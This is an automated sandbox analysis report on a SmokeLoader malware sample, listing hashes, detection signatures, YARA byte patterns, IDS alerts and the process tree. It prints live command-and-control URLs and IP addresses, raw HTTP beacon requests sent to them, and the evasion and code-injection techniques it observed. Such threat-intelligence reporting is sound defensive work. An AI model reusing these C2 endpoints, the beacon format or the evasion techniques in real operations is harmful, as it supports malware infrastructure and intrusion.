Edit tour

Windows Analysis Report
kGSZ4dCqYh.exe

Overview

General Information

Sample name:	kGSZ4dCqYh.exe renamed because original name is a hash value
Original sample name:	bab1912f10355b913050217669acc322.exe
Analysis ID:	1541371
MD5:	bab1912f10355b913050217669acc322
SHA1:	17848e8aa5e443c06d495c500e642be0967cabe6
SHA256:	38dc7521a2e99fb4c095f74b51dadf8b10fdf680ecbcecb419e6720e8151096d
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sigma detected: Execution of Suspicious File Type Extension

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

kGSZ4dCqYh.exe (PID: 6752 cmdline: "C:\Users\user\Desktop\kGSZ4dCqYh.exe" MD5: BAB1912F10355B913050217669ACC322)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

dvjdfvr (PID: 5164 cmdline: C:\Users\user\AppData\Roaming\dvjdfvr MD5: BAB1912F10355B913050217669ACC322)

dvjdfvr (PID: 1404 cmdline: C:\Users\user\AppData\Roaming\dvjdfvr MD5: BAB1912F10355B913050217669ACC322)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://tnc-corp.ru/tmp/index.php", "http://volisc.biz/tmp/index.php", "http://livbev.online/tmp/index.php", "http://liverds.at/tmp/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2090478524.0000000000550000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.1862957209.0000000000620000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.1863029600.0000000000651000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.1863029600.0000000000651000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2090513435.0000000000560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2090513435.0000000000560000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x634:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2090678627.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000002.2090678627.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x234:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000005.00000002.2090450815.0000000000520000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x119a9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1862925311.00000000005F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x119a9:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\dvjdfvr, CommandLine: C:\Users\user\AppData\Roaming\dvjdfvr, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\dvjdfvr, NewProcessName: C:\Users\user\AppData\Roaming\dvjdfvr, OriginalFileName: C:\Users\user\AppData\Roaming\dvjdfvr, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\user\AppData\Roaming\dvjdfvr, ProcessId: 5164, ProcessName: dvjdfvr

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:37:39.640493+0200	2039103	1	A Network Trojan was detected	192.168.2.4	49736	189.164.127.217	80	TCP
2024-10-24T18:38:58.525736+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50003	189.164.127.217	80	TCP
2024-10-24T18:39:12.106292+0200	2039103	1	A Network Trojan was detected	192.168.2.4	50004	189.164.127.217	80	TCP
2024-10-24T18:39:31.867272+0200	2039103	1	A Network Trojan was detected	192.168.2.4	53258	189.164.127.217	80	TCP
2024-10-24T18:39:51.793152+0200	2039103	1	A Network Trojan was detected	192.168.2.4	58682	189.164.127.217	80	TCP
2024-10-24T18:40:12.354239+0200	2039103	1	A Network Trojan was detected	192.168.2.4	58683	201.124.145.196	80	TCP
2024-10-24T18:40:27.315155+0200	2039103	1	A Network Trojan was detected	192.168.2.4	58684	201.124.145.196	80	TCP
2024-10-24T18:40:45.531760+0200	2039103	1	A Network Trojan was detected	192.168.2.4	58685	201.124.145.196	80	TCP
2024-10-24T18:41:03.377372+0200	2039103	1	A Network Trojan was detected	192.168.2.4	58686	201.124.145.196	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: kGSZ4dCqYh.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\dvjdfvr

Avira: detection malicious, Label: HEUR/AGEN.1306978

Found malware configuration

Source: 00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://tnc-corp.ru/tmp/index.php", "http://volisc.biz/tmp/index.php", "http://livbev.online/tmp/index.php", "http://liverds.at/tmp/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\dvjdfvr

ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: kGSZ4dCqYh.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\dvjdfvr

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: kGSZ4dCqYh.exe

Joe Sandbox ML: detected

Source: kGSZ4dCqYh.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\kGSZ4dCqYh.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\AppData\Roaming\dvjdfvr

Code function: 7_2_00402780 InterlockedIncrement,SetFileAttributesA,GetCommConfig,GetNumberFormatW,GetLogicalDriveStringsW,VerifyVersionInfoW,GetComputerNameW,ClearCommBreak,InterlockedIncrement,EnumTimeFormatsW,GetTempFileNameW,_memset,CommConfigDialogW,ReadConsoleInputA,GetVersionExW,InterlockedIncrement,SetVolumeMountPointW,GlobalMemoryStatus,

7_2_00402780

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:49736 -> 189.164.127.217:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50004 -> 189.164.127.217:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:58685 -> 201.124.145.196:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:58682 -> 189.164.127.217:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:58684 -> 201.124.145.196:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:53258 -> 189.164.127.217:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:50003 -> 189.164.127.217:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:58686 -> 201.124.145.196:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:58683 -> 201.124.145.196:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 201.124.145.196 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 189.164.127.217 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://tnc-corp.ru/tmp/index.php
Source: Malware configuration extractor	URLs: http://volisc.biz/tmp/index.php
Source: Malware configuration extractor	URLs: http://livbev.online/tmp/index.php
Source: Malware configuration extractor	URLs: http://liverds.at/tmp/index.php

Source: Joe Sandbox View	ASN Name: UninetSAdeCVMX UninetSAdeCVMX
Source: Joe Sandbox View	ASN Name: UninetSAdeCVMX UninetSAdeCVMX

Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tkmyedfqjdrh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kvrakpmwnkdw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://krorrwetybapxgs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 362Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nhvxjbuepegldhgi.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fhnrrbktckg.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gucrgvicowjmruy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 228Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gdvvxgrxcdrf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iiqfsjirxhqu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 365Host: tnc-corp.ru
Source: global traffic	HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqjnthfwecsdh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 295Host: tnc-corp.ru

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: tnc-corp.ru
Source: global traffic	DNS traffic detected: DNS query: volisc.biz
Source: global traffic	DNS traffic detected: DNS query: livbev.online
Source: global traffic	DNS traffic detected: DNS query: liverds.at

Source: unknown

HTTP traffic detected: POST /tmp/index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://tkmyedfqjdrh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: tnc-corp.ru

Source: explorer.exe, 00000001.00000000.1843808640.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1845367065.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000001.00000000.1843808640.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1845367065.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000001.00000000.1843808640.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1845367065.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000001.00000000.1843808640.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1845367065.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000001.00000000.1845946637.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1844459297.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1845010581.0000000008720000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000001.00000000.1847015156.000000000C964000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000001.00000000.1847015156.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1843808640.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1843808640.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1845367065.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1845367065.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1842655910.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1843124662.0000000003700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1845367065.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1845367065.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1845367065.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1847015156.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1847015156.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1843808640.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1843808640.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
